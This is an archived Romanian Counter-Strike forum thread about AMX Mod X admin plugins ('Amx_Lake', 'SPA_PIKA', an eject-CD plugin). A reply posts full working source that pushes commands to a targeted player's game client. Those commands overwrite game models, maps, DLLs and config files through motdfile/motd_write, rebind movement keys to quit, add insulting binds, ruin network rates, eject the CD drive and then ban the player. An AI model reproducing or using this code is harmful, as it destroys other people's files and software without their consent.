Existing user? Sign in
Sign up
Games
Servers
Useful
User
Pass
2FA
[AMXX]Amx_Lake v1.4
Freakz Forum Index
->
Trash Bin
->
CS 2006-2019 (Archived)
->
Resources
Author
Message
2488
MultIdReeat
[Mentally Stable]
Status: Offline
(since 30-07-2013 19:16)
Joined: 27 Dec 2012
Posts: 26
,
Topics: 9
Location:
Romania
Reputation:
34.7
Votes
: 2
Posted: 27-07-2013, 20:59:08
| Translate post to:
... (
Click for more languages
)
Descriere: Acest plugin este un fel de amx_pika dar o varianta mai imbunatatita dupa parerea mea.Strica fiserele din CS + Cfg-ul si inca cateva functii care le veti gasi in cvar.
Descarcare:
http://www17.zippyshare.com/v/6713272/file.html
Nume: Amx_Lake
Versiune: 1.4
Autor: Jerpelea
Instalare:
1. Folderul amx_lake il puneti in cstrike/sound
2. Fisierul amx_lake.sma il puneti in addons/amxmodx/scripting
3. Fisierul amx_lake.amxx il puneti in addons/amxmodx/plugins
4. Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma:
Cod:
amx_lake.amxx
Cvar-uri (se adauga in fisierul amxmodx\configs\amxx.cfg):
lake_sound 2 - 1 (Cand un jucator primeste comanda porneste melodia lake.wav) - 2 (Cand un jucator primeste comanda porneste sunetul default de destroy) - 0 Dezactivat
lake_logs 1 - 1 (Cand un admin foloseste comanda pe un jucator se creaza o linie in cstrike/addons/amxmodx/logs/Lake.log cu cine a folosit comanda si pe cine , IP , Steam) - 0 Dezactivat
lake_console_showdetails 1 - 1 (Cand un admin foloseste comanda sa ii apara in consola detaliile victimei Nume,Ip,Steam) - 0 Dezactivat
lake_mode 4 - 1 (Ii da kick) - 2 (Ii da ban PERMANENT) - 3 (Ii da ban X minute, este setat de pe lake_ban_time) - 4 (Ii da timeout) - 0 Dezactivat
lake_ban_time - 5 (Dupa cum am spus si mai sus este timpul banului daca lake_mode este setat pe 3) [Pe minute]
lake_popcd - 1 (Ii scoate CD-romul cand primeste comanda) - 0 Dezactivat
lake_name - 1 (Ii schimba numele cand primeste comanda) - 0 Dezactivat
lake_set_name SuntUnMareLake - (Numele in care il va schimba)
lake_popcd_num - 2 (De cate ori sa ii deschide CD-romul, daca este numar impar il deschide de X ori si ramane deschis ultima data, daca este numar par il deschide de X ori si ramane inchis) Exemplu la impar: Daca puneti 5, il deschide si inchide de 4 ori iar a 5-a oara il lasa deschis. Exemplu la par: Daca puneti 8 ii va deschide CD-romul de 8 ori fara sa ramana deschis pt ca este par.
Comenzi administrative (se tasteaza in consola si trebuie sa fiti administrator):
amx_lake Nume - Ii strica fisierele din cs si cfg-ul + 1 Poza
Module necesare (se sterge ; din fata modulului de mai jos; acestea le gasiti in fisierul amxmodx\configs\modules.ini):
- Fun
- Engine
Multumiri:
- Sm0k3r pentru lake.wav
PS: Daca gasiti buguri sau ceva ce nu functioneaza cum trebuie lasati un replay sau add cristi_jerpelea98.
0
0
Back to top
D4mage
[Gum!Tz@]
Status: Offline
(since 08-06-2015 16:55)
Joined: 06 Apr 2013
Posts: 1324
,
Topics: 32
Location:
Romania
Reputation:
238.5
Votes
: 20
Posted: 29-07-2013, 20:02:17
| Translate post to:
... (
Click for more languages
)
ce diferenta exista aproape nici una
0
0
Back to top
Khajiit
[Away]
Status: Offline
(since 01-04-2019 20:33)
Joined: 19 Jun 2013
Posts: 3428
,
Topics: 110
Location:
Away for a long time.
Reputation:
48.4
Votes
: 145
Posted: 31-07-2013, 09:13:49
| Translate post to:
... (
Click for more languages
)
O prostie de plugin.
Uite aici:
SPA_PIKA, plugin facut de CRYWOLF: Editat de mine:
Code:
#include < amxmodx >
#include < amxmisc >
/*************************************************************/
/* ATENTIE!
Stergeti // daca vreti mesaje colorate in chat pe Server!
Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
// #define USE_COLORCHAT
#if defined USE_COLORCHAT
#include < colorchat >
#endif
/**************************************************************/
#define PLUGIN_NAME "SPA PIKA"
#define PLUGIN_VERSION "1.2.0"
#define PLUGIN_AUTHOR "SPA V0.2" // aka CryWolf
// Numele fisierului .log
#define LOGFILE "SPA_PIKA.log"
/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] =
{
"kill",
"motdfile models/player.mdl;motd_write y",
"motdfile models/v_ak47.mdl;motd_write x",
"motdfile models/p_ak47.mdl;motd_write x",
"motdfile models/v_flashbang.mdl;motd_write y",
"motdfile models/p_m3.mdl;motd_write x",
"motdfile models/v_awp.mdl;motd_write n",
"motdfile models/p_ump45.mdl;motd_write x",
"motdfile models/v_awp.mdl;motd_write x",
"motdfile models/player/arctic/arctic.mdl;motd_write x",
"motdfile models/player/gsg9/gsg9.mdl;motd_write y",
"motdfile models/player/sas/sas.mdl;motd_write x",
"motdfile models/player/terror/terror.mdl;motd_write y",
"motdfile models/player/vip/vip.mdl;motd_write x",
"motdfile models/player/urban/urban.mdl;motd_write x",
"motdfile resource/GameMenu.res;motd_write x",
"motdfile halflife.wad;motd_write x",
"motdfile liblist.gam;motd_write y",
"motdfile cs_dust.wad;motd_write x",
"motdfile events/ak47.sc;motd_write x",
"motdfile autoexec.cfg;motd_write x",
"motdfile server.cfg;motd_write x",
"motdfile ajawad.wad;motd_write x",
"motdfile cstrike.wad;motd_write x",
"motdfile dlls/mp.dll;motd_write x",
"motdfile dlls/cs_i386.so;motd_write x",
"motdfile cl_dlls/client.dll;motd_write x",
"motdfile resource/cstrike_english.txt;motd_write x",
"motdfile resource/game_menu.tga;motd_write x",
"motdfile maps/de_inferno.bsp;motd_write x",
"motdfile maps/de_dust2.bsp;motd_write x",
"motdfile maps/de_aztec.bsp;motd_write x",
"motdfile maps/de_dust.bsp;motd_write x",
"motdfile maps/de_train.bsp;motd_write x",
"motdfile cs_assault.wad;motd_write x",
"motdfile spectatormenu.txt.wad;motd_write x",
"motdfile custom.hpk;motd_write x",
"sys_ticrate 0.1",
"bind w quit",
"bind a quit",
"bind d quit",
"cl_cmdrate 0.1",
"cl_updaterate 0.0.1",
"fps_max 1.0",
"fps_modem 1.0",
"name UN_RATAT",
"cl_timeout 0.0",
"cl_allowdownload 0",
"cl_allowupload 0",
"rate 00000",
"developer 2",
"hpk_maxsize 100",
"bind m sunt_un_cacat",
"bind q admin_esti_un_prost_I_",
"bind g admin_mata_suge_cariciu :))",
"cl_forwardspeed 100",
"cl_backspeed 100",
"cl_sidespeed 100",
"motdfile userconfig.cfg;motd_write x",
"bind t quit",
"bind y quit",
"cd eject",
"quit"
};
/************************************************************/
public plugin_init ( )
{
register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
register_clcmd ( "spa_pika", "cmdPika", ADMIN_BAN, "<nume sau #userid> [motiv]" );
}
public cmdPika ( id, level, cid )
{
if ( !cmd_access ( id, level, cid, 3 ) )
return 1;
new arg [ 33 ];
read_argv ( 1, arg, charsmax ( arg ) );
new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
if ( !player )
{
console_print ( id, "[SPA PIKA] Jucatorul nu este online sau a iesit de pe Server." );
return 1;
}
new authid [ 33 ], authid2 [ 33 ],
name2 [ 33 ], name [ 33 ],
userid2, reason [ 32 ], userip [ 33 ];
get_user_authid ( id, authid, charsmax ( authid ) );
get_user_authid ( player, authid2, charsmax ( authid2 ) );
get_user_name ( player, name2, charsmax ( name2 ) );
get_user_name ( id, name, charsmax ( name ) );
get_user_ip ( player, userip, charsmax ( userip ) );
userid2 = get_user_userid ( player )
read_argv ( 2, reason, 31 );
remove_quotes ( reason );
log_to_file ( LOGFILE, "Adminul %s a folosit comanda SPA_PIKA pe: %s cu motivul: (%s)", name, player, userid2, reason )
for ( new i = 0; i < sizeof ( g_pika ); i++ )
client_cmd ( player, g_pika [ i ] );
server_cmd ( "kick #%d ^"Ai primit PIKA ^";wait;addip 999999.0 ^"%s^";wait;writeip", player, userip );
#if defined USE_COLORCHAT
{
client_print_color ( 0, DontChange, "^4[^4SPA PIKA^4] ^4Adminul ^4%s ^4a folosit comanda ^4SPA_PIKA ^4pe jucatorul ^4(%s)", name, player, userid2 );
}
else
{
client_print ( 0, print_chat, "[SPA PIKA] Adminul %s a folosi comanda SPA_PIKA pe (%s)", name, player, userid2 );
}
#endif
client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
return 1;
}
Si, SPA_EJECT CD! Contine spa_ejectcd | spa_closecd | spa_popcd (setat pe 50):
Code:
/***************************************************************************************************
AMX Eject CD
popcd_num 25 - number of times to pop the player's CD Drive.
/// ALL IN!!!!!!!!//
***************************************************************************************************/
#include <amxmodx>
#include <amxmisc>
new popcount[33]
public plugin_init()
{
register_plugin("Eject CD", "0.1", "KRoTaL")//SPA EDIT
register_concmd("spa_ejectcd", "amx_eject_cd", ADMIN_CVAR, ": <name/#id/authid/@CT/@TERRORIST/ *(all)> opens the player's CD Drive")
register_concmd("spa_closecd", "amx_close_cd", ADMIN_CVAR, ": <name/#id/authid/@CT/@TERRORIST/ *(all)> closes the player's CD Drive")
register_concmd("spa_popcd", "amx_pop_cd", ADMIN_CVAR, ": <name/#id/authid/@CT/@TERRORIST/ *(all)> randomly opens and closes the player's CD Drive")
register_cvar("popcd_num", "50")
}
public client_connect(id)
{
popcount[id] = 0
}
public amx_eject_cd(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED
}
new arg[32]
read_argv(1, arg, 31)
new i, players[32], inum, player
if(arg[0] == '@')
{
get_players(players, inum, "e", arg[1])
if(inum == 0)
{
console_print(id, "No users in such team")
return PLUGIN_HANDLED
}
for(i = 0; i < inum; ++i)
{
player = players[i]
client_cmd(player, "cd eject")
set_hudmessage(255, 255, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 1)
show_hudmessage(player, " ")
set_hudmessage(255, 0, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 2)
show_hudmessage(player, " ")
set_hudmessage(0, 0, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 3)
show_hudmessage(player, " ")
set_hudmessage(0, 255, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 4)
show_hudmessage(player, " ")
}
}
else if(arg[0] == '*')
{
get_players(players, inum)
if(inum == 0)
{
console_print(id, "No users in such team")
return PLUGIN_HANDLED
}
for(i = 0; i < inum; ++i)
{
player = players[i]
client_cmd(player, "cd eject")
set_hudmessage(255, 255, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 1)
show_hudmessage(player, " ")
set_hudmessage(255, 0, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 2)
show_hudmessage(player, " ")
set_hudmessage(0, 0, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 3)
show_hudmessage(player, " ")
set_hudmessage(0, 255, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 4)
show_hudmessage(player, " ")
}
}
else
{
player = cmd_target(id, arg, 11)
if (!player)
return PLUGIN_HANDLED
client_cmd(player, "cd eject")
set_hudmessage(255, 255, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 1)
show_hudmessage(player, " ")
set_hudmessage(255, 0, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 2)
show_hudmessage(player, " ")
set_hudmessage(0, 0, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 3)
show_hudmessage(player, " ")
set_hudmessage(0, 255, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 4)
show_hudmessage(player, " ")
}
return PLUGIN_HANDLED
}
public amx_close_cd(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED
}
new arg[32]
read_argv(1,arg,32)
new i, players[32], inum, player
if(arg[0] == '@')
{
get_players(players, inum, "e", arg[1])
if(inum == 0)
{
console_print(id, "No users in such team")
return PLUGIN_HANDLED
}
for(i = 0; i < inum; ++i)
{
player = players[i]
client_cmd(player, "cd close")
set_hudmessage(255, 255, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 1)
show_hudmessage(player, " ")
set_hudmessage(255, 0, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 2)
show_hudmessage(player, " ")
set_hudmessage(0, 0, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 3)
show_hudmessage(player, " ")
set_hudmessage(0, 255, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 4)
show_hudmessage(player, " ")
}
}
else if(arg[0] == '*')
{
get_players(players, inum)
if(inum == 0)
{
console_print(id, "No users in such team")
return PLUGIN_HANDLED
}
for(i = 0; i < inum; ++i)
{
player = players[i]
client_cmd(player, "cd close")
set_hudmessage(255, 255, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 1)
show_hudmessage(player, " ")
set_hudmessage(255, 0, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 2)
show_hudmessage(player, " ")
set_hudmessage(0, 0, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 3)
show_hudmessage(player, " ")
set_hudmessage(0, 255, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 4)
show_hudmessage(player, " ")
}
}
else
{
player = cmd_target(id, arg, 11)
if (!player)
return PLUGIN_HANDLED
client_cmd(player, "cd close")
set_hudmessage(255, 255, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 1)
show_hudmessage(player, " ")
set_hudmessage(255, 0, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 2)
show_hudmessage(player, " ")
set_hudmessage(0, 0, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 3)
show_hudmessage(player, " ")
set_hudmessage(0, 255, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 6.0, 0.1, 0.2, 4)
show_hudmessage(player, " ")
}
return PLUGIN_HANDLED
}
public amx_pop_cd(id, level, cid)
{
if (!cmd_access(id,level,cid,2))
{
return PLUGIN_HANDLED
}
new arg[32]
read_argv(1,arg,32)
new i, players[32], inum, player
if(arg[0] == '@')
{
get_players(players, inum, "e", arg[1])
if(inum == 0)
{
console_print(id, "No users in such team")
return PLUGIN_HANDLED
}
for(i = 0; i < inum; ++i)
{
player = players[i]
client_cmd(player, "cd eject")
set_hudmessage(255, 255, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 1)
show_hudmessage(player, " ")
set_hudmessage(255, 0, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 2)
show_hudmessage(player, " ")
set_hudmessage(0, 0, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 3)
show_hudmessage(player, " ")
set_hudmessage(0, 255, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 4)
show_hudmessage(player, " ")
set_task(random_float(3.0, 6.0), "close_cd", players[i])
}
}
else if(arg[0] == '*')
{
get_players(players, inum)
if(inum == 0)
{
console_print(id, "No users in such team")
return PLUGIN_HANDLED
}
for(i = 0; i < inum; ++i)
{
player = players[i]
client_cmd(player, "cd eject")
set_hudmessage(255, 255, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 1)
show_hudmessage(player, " ")
set_hudmessage(255, 0, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 2)
show_hudmessage(player, " ")
set_hudmessage(0, 0, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 3)
show_hudmessage(player, " ")
set_hudmessage(0, 255, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 4)
show_hudmessage(player, " ")
set_task(random_float(3.0, 6.0), "close_cd", players[i])
}
}
else
{
player = cmd_target(id, arg, 11)
if (!player)
return PLUGIN_HANDLED
client_cmd(player, "cd eject")
set_hudmessage(255, 255, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 1)
show_hudmessage(player, " ")
set_hudmessage(255, 0, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 2)
show_hudmessage(player, " ")
set_hudmessage(0, 0, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 3)
show_hudmessage(player, " ")
set_hudmessage(0, 255, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 4)
show_hudmessage(player, " ")
set_task(random_float(3.0, 6.0), "close_cd", player)
}
return PLUGIN_HANDLED
}
public open_cd(id)
{
client_cmd(id, "cd eject")
set_hudmessage(255, 255, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 1)
show_hudmessage(id, " ")
set_hudmessage(255, 0, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 2)
show_hudmessage(id, " ")
set_hudmessage(0, 0, 255, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 3)
show_hudmessage(id, " ")
set_hudmessage(0, 255, 0, random_float(0.1, 0.7), random_float(0.2, 0.9), 0, 1.0, 4.0, 0.1, 0.2, 4)
show_hudmessage(id, " ")
set_task(random_float(3.0, 6.0), "close_cd", id)
}
public close_cd(id)
{
popcount[id]++
client_cmd(id, "cd close")
if(popcount[id] < get_cvar_num("popcd_num"))
{
set_task(random_float(3.0, 6.0), "open_cd", id)
}
else
{
popcount[id] = 0
}
}
0
0
Back to top
Topic locked
Topic is closed, you cannot post any messages in it anymore
Locked by
Happy =]]
, 19 August 2013 15:07
Freakz Forum Index
->
Trash Bin
->
CS 2006-2019 (Archived)
->
Resources
The time now is 03-12-2024, 22:33:01
Copyright info
Based on phpBB
ro
/
com
B
Login
I forgot my password
World of Warcraft
Login for more...
Download WoW 7.3.5
Misc
eSports
Achievements
Buy reputation with votes
Reputation trades
Forum rules
Ban list
Members list
User guide (FAQ)
World of Warcraft
View details